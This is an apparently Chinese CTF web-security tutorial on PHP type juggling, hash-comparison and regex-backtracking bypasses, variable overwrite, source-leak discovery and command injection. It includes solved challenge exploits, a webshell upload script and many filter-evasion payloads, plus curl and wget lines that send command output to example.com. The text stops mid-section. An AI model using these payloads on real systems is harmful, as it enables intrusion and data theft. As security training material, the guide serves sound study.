var_dump(intval(true)); // int(1)
var_dump(intval("NULL")); // int(0)
var_dump(intval("123")); // int(123)
var_dump(intval("0a")); // int(0)
var_dump(intval("123a")); // int(123)
var_dump(intval("php")); // int(0)
// PHP 7.1.0,科学计数法
var_dump(intval("1e1")); // int(1),从PHP 7.1.0 开始,int(10)
// PHP 8.0.0 之后
var_dump(intval(NAN)); // int(0)
var_dump(intval(INF)); // int(0)
var_dump(intval(-INF)); // int(0)
转换为string
- 布尔值
true转换为"1" - 布尔值
false转换为""(空字符串) - 数组
array总是转换成字符串"Array"echo和print无法显示该数组的内容- 在反序列化 POP 链经常用到
- 整数、浮点数转换为数字的字面样式的字符串
- 必须使用魔术方法
__toString才能将object转换为string null总是被转变成空字符串
// 布尔值`true`转换为"1"
var_dump(strval(true)); //string(1) "1"
var_dump(strval(false)); //string(0) ""
var_dump(strval([])); //string(5) "Array"
var_dump(strval(123)); //string(3)
var_dump(strval(123.5)); //"123"string(5) "123.5"
var_dump(strval(1e2)); //string(3) "100"
var_dump(strval(null)); // string(0) ""
转换为布尔值
当转换为bool时,以下值被认为是false:
- 布尔值
false本身 - 整型值
0(零) - 浮点型值
0.0 - 空字符串 "",以及字符串 "0"
- 不包括任何元素的数组
- 原子类型 NULL(包括尚未赋值的变量)
- 内部对象的强制转换行为重载为 bool。例如:由不带属性的空元素创建的 SimpleXML 对象。
<?php
// bool(false)
var_dump((bool)false);
var_dump((bool)0);
var_dump((bool)0.0);
var_dump((bool)"");
var_dump((bool)"0");
var_dump((bool)[]);
var_dump((bool)null);
所有其它值都被认为是 true(包括 资源 和 NAN)。
类型比较
不同类型的变量在进行松散比较时会进行自动类型转换,比较运算符
-
当两个操作对象都是
数字字符串,或一个是数字另一个是数字字符串,就会自动按照数值进行比较。此规则也适用于switch语句。当比较时用的是===或!==, 则不会进行类型转换——因为不仅要对比数值,还要对比类型。
PHP 8.0.0 之前,如果字符串与数字
或数字字符串进行比较,则在比较前会将字符串转换为数字。
<?php
var_dump("0" == 0); // bool(true)
var_dump("123" == 123); // bool(true)
var_dump("1e1" == 1e1); // bool(true)
var_dump("0a" == 0); // bool(true)
var_dump("php" == 0); // bool(true)
// PHP 8.0.0 之后
var_dump("0a" == 0); // bool(false)
var_dump("php" == 0); // bool(false)
例题分析
例题1
<?php
$num = $_GET['num'];
if ($num == 0 && $num) {
echo 'flag{**********}';
}
当条件 1$num == 0和条件 2$num均为bool(true)时,得到flag。
- 条件 1,字符串
$num等于整数0,松散比较。字符串$num转换为整型,要求值为整型0,可为数字字符串"0"、前导数字字符串(如"0a")、非 numeric 或者前导数字(即纯字符,如"php")。 - 条件 2,字符串
$num转换为布尔型。要求值为布尔型true,则不能为空字符串 ""及字符串 "0"
// ?num=0a
// ?num=php
// PHP 8以下
例题2
<?php
$a = $_GET['a'];
if ($a == 0 && $a == "admin") {
echo 'flag{**********}';
}
?a=admin
重要函数
| 函数名称 | 作用 | 特性 |
|---|---|---|
| is_numeric() | 检测变量是否为数字或数字字符串 | 科学计数法 |
| intval() | 获取变量的整数值 | 1. 成功时返回value的integer值,失败时返回0。 空的 array 返回 0,非空的array返回1。2. 如果 base 是 0,通过检测 value 的格式来决定使用的进制 3. 科学计数法,7.1.0后发现变化 |
| preg_replace() | 执行一个正则表达式的搜索和替换 | 1./e修饰符,代码执行 |
| preg_match() | 执行匹配正则表达式 | 1.数组返回false 2. 换行 3. 回溯次数限制绕过 |
| in_array()、array_search() | 检查数组中是否存在某个值 | 如果没有设置strict,则使用松散比较 |
| chr() | 返回指定的字符 | 1. 如果数字大于256,返回mod 256 |
| json_decode() | 1. 字符串null、不符合json格式的情况返回null |
- json_decode()
var_dump(json_decode('1')); // int(1)
var_dump(json_decode('false')); // bool(false)
var_dump(json_decode('true')); // bool(true)
var_dump(json_decode('null')); // NULL
var_dump(json_decode('a')); // NULL
// key 必须双引号 value 加双引号是字符串,不加是数字
var_dump((array)json_decode('{"key":"value", "2":2,"3":"3"}'));
/*
array(3) {
["key"]=>
string(5) "value"
[2]=>
int(2)
[3]=>
string(1) "3"
}
*/
// 嵌套数组
var_dump((array)json_decode('{"a":[1,[2,3],4]}'));
例题分析
例题1
<?php
$num = $_GET['num'];
// 条件1 $num 不是数字字符串
// 条件2 字符串$num与整数1松散比较相等
// PHP8以下,前导数字字符串 ?num=1a
if (!is_numeric($num) && $num == 1) {
echo 'flag{**********}';
}
// PHP8以下,前导数字字符串 ?num=1235a
if (!is_numeric($num) && $num > 1234) {
echo 'flag{**********}';
}
// $num 字符串长度最大为3,最大为999
// 算术操作加法,$num 字符串转换为数字
// 科学计数法 ?num=1e9
if (strlen($num) < 4 && intval($num + 1) > 5000)) {
echo 'flag{**********}';
}
例题2
<?php
highlight_file(__FILE__);
if (isset($_GET['money'])) {
$money = $_GET['money'];
if (strlen($money) <= 4 && $money > time() && !is_array($money)) {
echo 'flag{**********}';
} else {
echo "Wrong Answer!";
}
} else {
echo "Wrong Answer!";
}
?>
?> $money为什么不能是数组?假设$money是数组,能否满足条件 1 和 2?
在比较运算符中,运算数 1 类型为数组,与任何其他类型比较,数组总是更大。参考比较运算符
?money=1e9
?money[]=
哈希函数比较
0e开头
<?php
// 松散比较不等,md5值相等
if ($str1 != $str2) if (md5($str1) == md5($str2)) die($flag);
md5('240610708') == md5('QNKCDZO')
数组绕过
md5(array),如果参数类型为数组,返回NULL
<?php
// 原字符串不全等,md5值全等
if ($str1 !== $str2) if (md5($str1) === md5($str2)) die($flag);
if ($str1 !== $str2) if (md5($salt.$str1) === md5($salt.$str2)) die($flag);
// ?a[]=..&b[]=...
不同的数值构建一样的MD5
// 原字符串不全等,md5值全等
if ((string)$str1 !== (string)$str2) if (md5($str1) === md5($str2)) die($flag);
- 选择前缀碰撞
- 相同前缀碰撞,在两个不同的文件中共享相同的前缀和后缀,但中间的二进制不同。 HashClash 是一个用于 MD5 和 SHA-1 密码分析的工具箱,由 cr-marcstevens 开发。它可以用于创建不同类型的碰撞,包括选择前缀碰撞和相同前缀碰撞。 使用已编译好的 Win32 工具fastcoll_v1.0.0.5.exe可以在几秒内完成任务,过程如下:
# -p pre.txt 为前缀文件 -o 输出两个md5一样的文件
.\fastcoll_v1.0.0.5.exe -p pre.txt -o msg1.bin msg2.bin
生成的两个不同的文件,便于发送,进行 URL 编码
<?php
echo "msg1:" . urlencode(file_get_contents("msg1.bin")) . PHP_EOL;
echo "msg2:" . urlencode(file_get_contents("msg2.bin")) . PHP_EOL;
/*
msg1:yes%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C3%DF%00W%ABi%1BR%EF%F5%FC%22%F6%E9%F8%F2%03%21%AF4v%3A%9B%E6W%B6A%95H%B8D%07%A9%DB%CC%DE%BC%E3%A2%1A%87%BAg%DB%DC%DB1%B4%9Da%5D%E8%E4%D0%D4%F4%EC%00%96c%A2%8B%1E%18%16%0AvrJ%E7%98%96X1%27I%D2%CE%28%1E%9Avb4%1C%EA%00%3D%24%5D%A4e%CF%EB-%EE%D1%27%7FX%98%9A%B1%C8bJ%09j%85%7C%AE%5C%12%7D%26%F3Y%BF%23%18%81%96%D1%FF%B8%E7Z%8B
msg2:yes%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C3%DF%00W%ABi%1BR%EF%F5%FC%22%F6%E9%F8%F2%03%21%AF%B4v%3A%9B%E6W%B6A%95H%B8D%07%A9%DB%CC%DE%BC%E3%A2%1A%87%BAg%DB%DC%5B2%B4%9Da%5D%E8%E4%D0%D4%F4%EC%00%96%E3%A2%8B%1E%18%16%0AvrJ%E7%98%96X1%27I%D2%CE%28%1E%9Avb%B4%1C%EA%00%3D%24%5D%A4e%CF%EB-%EE%D1%27%7FX%98%9A%B1%C8bJ%09j%85%FC%AD%5C%12%7D%26%F3Y%BF%23%18%81%96%D1%7F%B8%E7Z%8B
*/
- Project HashClash - MD5 & SHA-1 cryptanalytic toolbox
- GitHub - corkami/collisions: Hash collisions and exploitations
字符串的MD5值等于其本身
if($str == md5($str)) die($flag);
寻找一个0e开头的字符串,且其 md5 值也是0e开头。
<?php
for($i;;$i++) if("0e{$i}" == md5("0e{$i}")) die("0e{$i}");
# 输出 0e215962017
截断比较
哈希字符串的指定位置等于某字符串
if(substr(md5($str), 0, 6) == "******") die($flag);
采用暴力碰撞方式
<?php
for($i;;$i++) if(substr(md5($i), 0, 6) == "******") die("$i");
md5($str,true)
与 SQL 注入结合
练习题目
- 2017-HackDatKiwi-md5games1
- 2018-强网杯-web 签到
变量覆盖漏洞
变量覆盖漏洞是指通过自定义参数值控制原有变量的值。
- 可变变量
$$- 一个变量的变量名可以动态设置和使用 - parse_str() - 将字符串解析成多个变量
- extract() - 从数组中导入变量到当前符号表
- import_request_variables() - 将 GET/POST/Cookie 变量导入全局作用域
例题分析
题目来源:ISCC_2019_web4
<?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if (isset($parsed["query"])) {
$query = $parsed["query"];
$parsed_query = parse_str($query);
if ($parsed_query != NULL) {
$action = $parsed_query['action'];
}
if ($action === "auth") {
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if ($hashed_input !== $hashed_key) {
die("<img src='cxk.jpg'>");
}
echo $flag;
}
} else {
show_source(__FILE__);
}
双引号字符串中含有RTLO等格式字符
RTLO 字符,全称为 Right-to-Left Override,是一个 Unicode 控制字符,编码为 U+202E。它的作用是改变文本的显示方向,使其从右向左显示,这对于支持阿拉伯语、希伯来语等从右向左书写的语言非常有用。
echo "\u{202E}abc"; // cba
PHP 的代码高亮函数,其颜色显示是根据php.ini定义显示,注释、默认、HTML、关键词和字符串显示不同颜色。

假设我们需要遇到这样一道题目,浏览器显示源码如图所示。

图中有三个注释,其中第三个//sha2显示的颜色与前两个不同。原因在于真正的$_GET参数不是所谓看见的sha2,而是包含有控制字符的字符串,导致浏览器渲染显示时产生位置偏移,我们需要从十六进制层面获取真正的参数名称。可通过burp或wireshark抓包,也可以直接复制粘贴代码,获取参数值。由于是不可打印字符,发送时需要 URL 编码。
在做题中,可以通过颜色判断或者鼠标双击选择变量,来发现是否设置了考点。
- Hack.lu CTF 2018 Baby PHP
- ISCC 2023 小周的密码锁
浮点数精度绕过
-
在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了
-
常量
NaN,INF,无穷大
-
题目
- ciscn2020-easytrick
PCRE回溯次数限制绕过
例题Code-Breaking Puzzles的pcrewaf
<?php
// 判断是否是PHP代码
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
// 注意preg_match()的返回值,返回0 或false均满足条件
if(!is_php($input)) {
// fwrite($f, $input); ...
}
PCRE(Perl Compatible Regular Expressions)是一个 Perl 语言兼容的正则表达式库。PHP 采用 PCRE 库实现正则表达式功能。
默认情况下,量词都是贪婪的,也就是说, 它们会在不导致模式匹配失败的前提下,尽可能多的匹配字符(直到最大允许的匹配次数)。
然而,如果一个量词紧跟着一个?(问号) 标记,它就会成为懒惰(非贪婪)模式, 它不再尽可能多的匹配,而是尽可能少的匹配。
<?php phpinfo();?>//aaaaaa,执行过程如下:
PCRE 的参数回溯次数限制pcre.backtrack_limit默认为1000000。
如果回溯次数超过限制,preg_match()返回false,表示只执行失败。
PCRE 回溯次数限制绕过的原理是通过发送超长字符串,使正则执行失败,最后绕过目标对 PHP 语言的限制。
- 贪婪模式
- 对返回值的判断不够严谨
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
修复建议
PHP 文档上有关于preg_match的警告,应使用全等===来测试函数的返回值。
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input); ...
}
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
经典赛题分析
2021-强网杯-寻宝
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
// 过滤函数,将黑名单字符替换为空
function filter($string)
{
$filter_word = array('php', 'flag', 'index', 'KeY1lhv', 'source', 'key', 'eval', 'echo', '\$', '\(', '\.', 'num', 'html', '\/', '\,', '\'', '0000000');
$filter_phrase = '/' . implode('|', $filter_word) . '/';
return preg_replace($filter_phrase, '', $string);
}
if ($ppp) {
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
// 变量覆盖漏洞
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
// $num1不能为数字字符串
if (isset($num1) && is_numeric($num1)) {
die("非数字");
} else {
// 前导数字字符串,松散比较,num1=1025a
if ($num1 > 1024) {
echo "第一层";
// 科学计数法,$num2=5e5
if (isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000) {
echo "第二层";
// md5截断碰撞,$num3=61823470
if (isset($num3) && '4bf21cd' === substr(md5($num3), 0, 7)) {
echo "第三层";
// 前导数字字符串0或纯字母字母串,$num4=aaaaaaa
if (!($num4 < 0) && ($num4 == 0) && ($num4 <= 0) && (strlen($num4) > 6) && (strlen($num4) < 8) && isset($num4)) {
echo "第四层";
if (!isset($num5) || (strlen($num5) == 0)) die("no");
// json_decode返回值,通过恰当的 PHP 类型返回在 json 中编码的数据。值 true、false 和 null 会相应地返回 true、false 和 null。如果 json 无法被解码,或者编码数据深度超过了嵌套限制的话,将会返回 null 。
// 1. $num5=null 2. $num5=a
$b = json_decode(@$num5);
if ($y = $b === NULL) {
if ($y === true) {
echo "第五层";
include 'flag.php';
echo $flag;
}
} else {
die("no");
}
} else {
die("no");
}
} else {
die("no");
}
} else {
die("no");
}
} else {
die("no111");
}
}
EXP:
ppp[number1]=1025a&ppp[number2]=5e5&ppp[number3]=61823470&ppp[number4]=0aaaaaa&ppp[number5]=a
或
ppp[number1]=1025a&ppp[number2]=5e5&ppp[number3]=61823470&ppp[number4]=abcdefg&ppp[number5]=null
2022-ISCC-冬奥会
<?php
show_source(__FILE__);
$Step1 = False;
$Step2 = False;
$info = (array)json_decode(@$_GET["Information"]);
if (is_array($info)) {
var_dump($info);
// 不能是数字或数字字符串
is_numeric(@$info["year"]) ? die("Sorry~") : NULL;
if (@$info["year"]) {
// 字符串与数字松散比较,前导数字字符串 $info["year"]='2022a'
($info["year"] == 2022) ? $Step1 = True : NULL;
}
// $info["items"]必须是数组
if (is_array(@$info["items"])) {
// $info["items"][1] 是数组
// $info["items"]数组元素数量=3
if (!is_array($info["items"][1]) or count($info["items"]) !== 3) die("Sorry~");
// array_search() 松散比较,0 == "skiing"
$status = array_search("skiing", $info["items"]);
$status === false ? die("Sorry~") : NULL;
foreach ($info["items"] as $key => $val) {
$val === "skiing" ? die("Sorry~") : NULL;
}
$Step2 = True;
}
}
if ($Step1 && $Step2) {
include "2022flag.php";
echo $flag;
}
?Information={"year":"2022a","items":["a",[],0]}
2023-ISCC-小周的密码锁
<?php
function MyHashCode($str) {
$h = 0;
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$hash = intval40(intval40(40 * $hash) + ord($str[$i]));
}
return abs($hash);
}
function intval40($code) {
// 位运算符,$code 向右移动32位
$falg = $code >> 32;
// $code向右移动32位后,若等于1
// $code 范围在 2的32次方---2的33次方-1
if ($falg == 1) {
// 位运算符,取反
$code = ~($code - 1);
return $code * -1;
} else {
// $code向右移动32位后,不等于1
return $code;
}
}
function Checked($str) {
$p1 = '/ISCC/';
if (preg_match($p1, $str)) {
return false;
}
return true;
}
function SecurityCheck($sha1, $sha2, $user) {
$p1 = '/^[a-z]+$/';
$p2 = '/^[A-Z]+$/';
if (preg_match($p1, $sha1) && preg_match($p2, $sha2)) {
$sha1 = strtoupper($sha1);
$sha2 = strtolower($sha2);
$user = strtoupper($user);
$crypto = $sha1 ^ $sha2;
} else {
die("wrong");
}
return array($crypto, $user);
}
error_reporting(0);
$user = $_GET['username']; //user
$sha1 = $_GET['sha1']; //sha1
// 注意 颜色区别,需要获取真正的参数
$sha2 = $_GET['//sha2sha2'];
//see me can you
if (isset($_GET['password'])) {
if ($_GET['password2'] == 5) {
show_source(__FILE__);
} else {
//Try to encrypt
if (isset($sha1) && isset($sha2) && isset($user)) {
[
$crypto,
$user
] = SecurityCheck($sha1, $sha2, $user);
// 哈希函数的截断碰撞
// 设 $crypto === $user
if ((substr(sha1($crypto), -6, 6) === substr(sha1($user), -6, 6)) && (substr(sha1($user), -6, 6)) === 'a05c53') {
//welcome to ISCC
// $_GET['password'] 不能包含 ISCC
if ((MyHashcode("ISCCNOTHARD") === MyHashcode($_GET['password'])) && Checked($_GET['password'])) {
include("f1ag.php");
echo $flag;
} else {
die("就快解开了!");
}
} else {
die("真的想不起来密码了吗?");
}
} else {
die("密钥错误!");
}
}
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 1e4) + rand(1, 1e4));
?>
$_GET['username']哈希函数的截断碰撞,username=14987637
for($i;;$i++) if(substr(sha1($i), -6, 6) == "a05c53") die("$i");
// 14987637
- 取
$sha1='AAAAAAAA',得$sha2=puxyvwrv
echo '14987637' ^ 'AAAAAAAA'; // puxyvwrv
- 调试代码
73 73
83 3003
67 120187
67 4807547
78 192301958
yesyes79 7692078399
84 307683136044
72 12307325441832
65 492293017673345
82 19691720706933882
68 787668828277355348
787668828277355348
观察发现,在intval40参数值范围在 $2^{32}$~$2^{33}-1$,满足条件$falg == 1,其余情况,原样返回。我们只需破坏ISCC关键词,依然包含上方的流程,%01%43SCCNOTHARD
EXP:
?username=14987637&password=%01!SCCNOTHARD&%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=AAAAAAAA&sha1=puxyvwrv
信息泄露
在 CTF 比赛中,信息泄露通常是出题人故意设置的,这些泄露可以帮助选手获得提示、源代码等信息,从而降低题目难度或进行深入代码审计。 可能的信息来源包括:
- 网页源代码(注释)和响应头
- robots.txt
- 网站备份文件,如
www.zip、index.php.bak - 版本控制目录,如
.git、.svn - 开发环境遗留文件
- 临时文件(
vi、vim、gedit生成的文件) .DS_store文件.idea文件夹- 文件读取(包含)漏洞
- 临时文件(
?> 安装Wappalyzer插件以识别网站所用的技术
目录扫描
通过扫描工具进行暴力目录探测
dirsearch是一款命令行风格的网站目录扫描工具
python3 dirsearch.py -e php -u http://example.com
.git目录
Git 一个免费的开源分布式版本控制系统,了解更多
如果存在.git目录,可以还原构建工程源代码
// 查看提交记录
git reflog
// 版本回滚
git reset --hard [log hash]
此外,.gitignore文件保存 git 忽略的文件或目录,也可能有敏感信息
扩展阅读,别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)
Git Cola一款免费的git图形工具
例题
.idea目录
JetBrains 公司出品的 IDE,如 PyCharm、IntelliJ IDEA、PhpStorm 等,会在项目根目录下创建.idea文件夹,用于保存项目的特定配置文件,包含文件变更、版本控制、调试信息等。
重点关注workspace.xml文件,可能会暴露文件名称
- FileEditorManager
- ChangeListManager
- editorHistoryManager
编辑器的临时文件
vi和gedit是 Linux 系统上常用的文本编辑器。SWAP文件是vi或其变体(如vim)创建,存储了正在编辑文件的恢复版本。会话开始时,编辑器会在当前目录创建一个临时文件,例如.index.php.swp。如果编辑器意外退出,该文件将会保留下来,用户可以通过特定命令进行恢复。
vim -r index.php
如果
.swp文件已经存在,将会创建.swo、.swn等后缀的文件
gedit编辑器保存后,会创建一个~后缀的文件作为保存前的副本,如index.php~。
.DS_Store文件
.DS_Store(Desktop Services Store) 是一种由苹果公司的 Mac OS X 操作系统生成的隐藏文件,用于存储目录的自定义属性,如文件图标位置和背景色。该文件由 Finder 创建和维护,类似于 Microsoft Windows 中的 desktop.ini 文件。分析.DS_Store文件可以恢复目录结构。相关工具包括:
- Python-dsstore - Python .DS_Store parser
- ds_store_exp - 一个 .DS_Store 文件泄漏利用脚本,它解析
.DS_Store文件并递归地下载文件
目录遍历
命令注入漏洞
允许攻击者向应用程序注入和执行系统命令。这种漏洞通常发生在应用程序未能正确验证或过滤用户输入,使得恶意输入能够直接传递给系统命令执行。
RCE(Remote Command Execution 或 Remote Code Execution)即远程命令执行或远程代码执行。
代码执行与命令执行的区别?
?> 在学习本节之前,建议先学习Bash 基础
命令分隔符
| 名称 | 示例 | 说明 |
|---|---|---|
; | whoami;ls | 命令结束符,允许一行多条命令按顺序执行,所有命令均会运行。Windows 系统下命令提示符cmd不支持该语法。 |
\&\& | whoami&&ls | 逻辑与,仅当第一条命令成功,才执行第二条命令。 |
|| | whoami||ls | 逻辑或,仅当第一条命令失败,才执行第二条命令。 |
| | 管道符,两条命令都执行,第一条命令的输出作为第二条命令的输入,其中第一条命令的输出不显示。 | |
\& | 后台执行,两个命令同时执行。 | |
%0A | PHP 环境下使用。 |
输入输出重定向
$(ls)
ls${}${IFS}id
变量 模式扩展
- 花括号扩展 输出重定向
command > file,将输出重定向到 file
转义字符
Bash 转义字符反斜杠\。
换行符是一个特殊字符,表示命令的结束,Bash 收到这个字符以后,就会对输入的命令进行解释执行。换行符前面加上反斜杠转义,就使得换行符变成一个普通字符,Bash 会将其当作长度为 0 的空字符处理,从而可以将一行命令写成多行。
PHP 中的escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。可以使用换行符构造多行命令。
Linux 下的与文件相关命令
- 列目录、文件
/ls|dir/
- 读文件内容
/cat|tac|tail|head|more|less|uniq|strings|sort|od|/
if (!preg_match('/|dir|nl|nc||flag|sh|cut|awk||od|curl|ping|\*||ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo||cc||\.|{|}|tar|zip|gcc||vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
echo system($cmd);
}
PHP 命令执行相关函数
system()、exec() 和 shell_exec() 等函数均通过调用 /bin/sh -c 来执行传入的命令字符串。
system()
执行命令,并且显示输出。成功则返回命令输出的最后一行,失败则返回false。
<?php
system('whoami'); // root
echo system('whoami');
/*
* root
* root
* 会输出两个结果,注意,第二个为仅包含最后一行的返回值。
*/
exec()
执行命令,返回命令输出的最后一行内容。
<?php
exec('whoami'); // 无任何输出
var_dump(exec('whoami')); // string(4) "root",输出最后一行内容
shell_exec()
通过 shell 执行命令并将完整的输出以字符串的方式返回
<?php
shell_exec('whoami'); // 无任何输出
var_dump(shell_exec('whoami'));
/*
* string(5) "root
* "
* 原始输出,换行符
*/
反引号(``)
执行运算符,将反引号中的内容作为 shell 命令来执行,并将其输出信息返回,与函数 shell_exec() 相同。
<?php
`whoami`; // 无任何输出
var_dump(`whoami`);
/*
* string(5) "root
* "
* 原始输出,换行符
*/
passthru()
执行外部程序并且显示原始输出
成功时返回 null, 或者在失败时返回 false。
<?php
passthru('whoami'); // root
var_dump(passthru('whoami'));
/*
* root
* NULL
*/
pcntl_exec
在当前进程空间执行指定程序
pcntl_exec("/bin/bash",array($_POST["cmd"]));
pcntl_exec("/bin/bash",array('whoami'));
popen
打开进程文件指针
proc_open()
执行一个命令,并且打开用来输入/输出的文件指针
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);
echo proc_open('whoami', $descriptorspec, $pipes);
可以赋给一个变量而不是简单地丢弃到标准输出
绕过技巧
# RCE绕过技巧
## 绕过空格
- IFS
- {}
- 十六进制
## 绕过黑名单
- 字符类
- 单引号、双引号
- 反引号
- 转义字符
- 变量
- 变量拼接
- 未初始化的变量
- 编码转换
- Base64
- 十六进制
- 大小写
- 逆序
- 模式扩展
## 长度限制绕过
- 五字符
- 四字符
## 无数字字母
- 123
## 无回显
- 反弹shell
- DNS信道
- HTTP信道
绕过空格
<?php
highlight_file(__FILE__);
// 获取用户输入的命令
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : die("No command provided");
// 过滤用户输入的命令:移除空格
$cmd = str_replace(" ", "", $cmd);
// 输出用户输入的命令(转义以防止 XSS)
echo "CMD: " . htmlspecialchars($cmd) . "<br>";
// 执行命令
system($cmd);
$IFS、${IFS}、$IFS$9
环境变量 IFS(Internal Field Separator,内部字段分隔符),默认情况下由空格、制表符和换行符组成,可通过set命令查看。
${IFS}使用{}可以避免出现变量名与其他字符连用的情况。$9是当前命令的第 9 个参数,通常为空。习惯上,使用$IFS$9可避免避免变量名连用,也不出现花括号。
cat$IFS/etc/passwd
cat${IFS}flag
cat$IFS$9flag
- 大括号扩展
{...}
{cat,/etc/passwd}
- 重定向运算符
# 输入重定向
cat</etc/passwd
# 读写
cat<>/etc/passwd
$'string'特殊类型的单引号(ANSI-C Quoting)
$''属于特殊的单引号,支持转义字符。
# 十六进制
X=$'cat\x20/etc/passwd';$X
# 换行符
x=$'cat\n/etc/passwd';$x
x=$'cat\t/etc/passwd';$x
- 使用制表符
;ls%09-al%09/home
- 变量截取
绕过黑名单
<?php
highlight_file(__FILE__);
// 获取用户输入的命令
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : die("No command provided");
// 检查用户输入的命令是否包含黑名单中的命令
$blacklist = ['ls', 'cat', 'flag'];
foreach ($blacklist as $value) {
if (stripos($cmd, $value) !== false) {
die("HACKER!");
}
}
// 输出用户输入的命令(转义以防止 XSS)
echo "CMD: " . htmlspecialchars($cmd) . "<br>";
// 执行命令
system($cmd);
- 引号(单引号、双引号、反引号)
# 单引号
w'h'o'am'i
wh''oami
# 双引号
w"h"o"am"i
wh""oami
# 反引号\`
wh``oami
- 反斜线
\(转义字符)
wh\oami
转义字符(%5C)和换行符(%0A)连用,实现命令续行,以下是经 URL 编码示例:
ca%5C%0At%20/et%5C%0Ac/pa%5C%0Asswd
- 变量
# 变量拼接
a=f;b=lag;cat $a$b # cat flag
# 未初始化的变量,等价于null
ca${u}t f${u}lag
- 模式扩展
# 通配符`?`代表任意单个字符,不包括空字符,如果匹配多个字符,需要多个`?`连用
cat fla?
cat fl??
# 通配符`*`代表任意数量的任意字符,包括零个字符
cat f*
# 方括号扩展[]
cat [f]lag
# 花括号扩展{}
cat {f,}lag
# 子命令扩展
cat /fla$(u)g
cat /fla`u`g
- 编码转换
# base64
echo "d2hvYW1pCg=="|base64 -d|sh # whoami
echo "d2hvYW1pCg=="|base64 -d|$0 # whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# 逆序,bash
$(rev<<<'imaohw') # whoami
# 大小写
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
# 十六进制
- 位置参数的特殊变量
$@和$*
$@和$*代表全部的位置参数,当没有位置参数时,扩展为空。如,``
who$@ami
who$*ami
绕过管道符|
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
反斜杠\和斜杠/绕过
# ${varname:offset:length} 子字符串
cat ${HOME:0:1}etc${HOME:0:1}passwd
# 字符替换
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
绕过 IP 限制
127.0.0.1 == 2130706433
绕过长度限制
15 位
命令执行 5 位 (HITCON 2017 Quals Babyfirst Revenge)
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
命令执行 4 位(HITCON 2017 Quals Babyfirst Revenge v2)
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
无回显
- 反弹 shell
- 结果写入文件,二次返回
主要利用是输出重定向符号>将标准输出重定向到可写、可访问的目录下。
# 将输出结果保存到当前目录下的1.txt文件
ls -al>1.txt
- DNS 信道
利用 DNS 解析特殊构造的域名,通过查看 DNS 解析记录获得结果。平台有 dnslog.cn、https://requestrepo.com/
ping `whoami`.example.com
curl `whoami`.example.com
wget -O- `ls|base64`.example.com
- HTTP 信道
利用 HTTP 协议,GET 或 POST 请求,获取结果。通常,如果数据量大,通过 POST 方法。
# 通过URL传送
curl example.com/`whoami`
curl example.com/`ls|base64`
wget -O- example.com/`ls|base64`
# 通过POST
curl -X POST --data `ls|base64` example.com
wget --post-data "$(ls|base64)" -O- example.com
- 延时
经典赛题分析
参考资料
-
https://book.hacktricks.xyz/v/cn/linux-hardening/bypass-bash-restrictions
-
https://github.com/PortSwigger/command-injection-attacker/blob/master/README.md
-
https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
代码注入漏洞
/**
* Get the code from a GET input
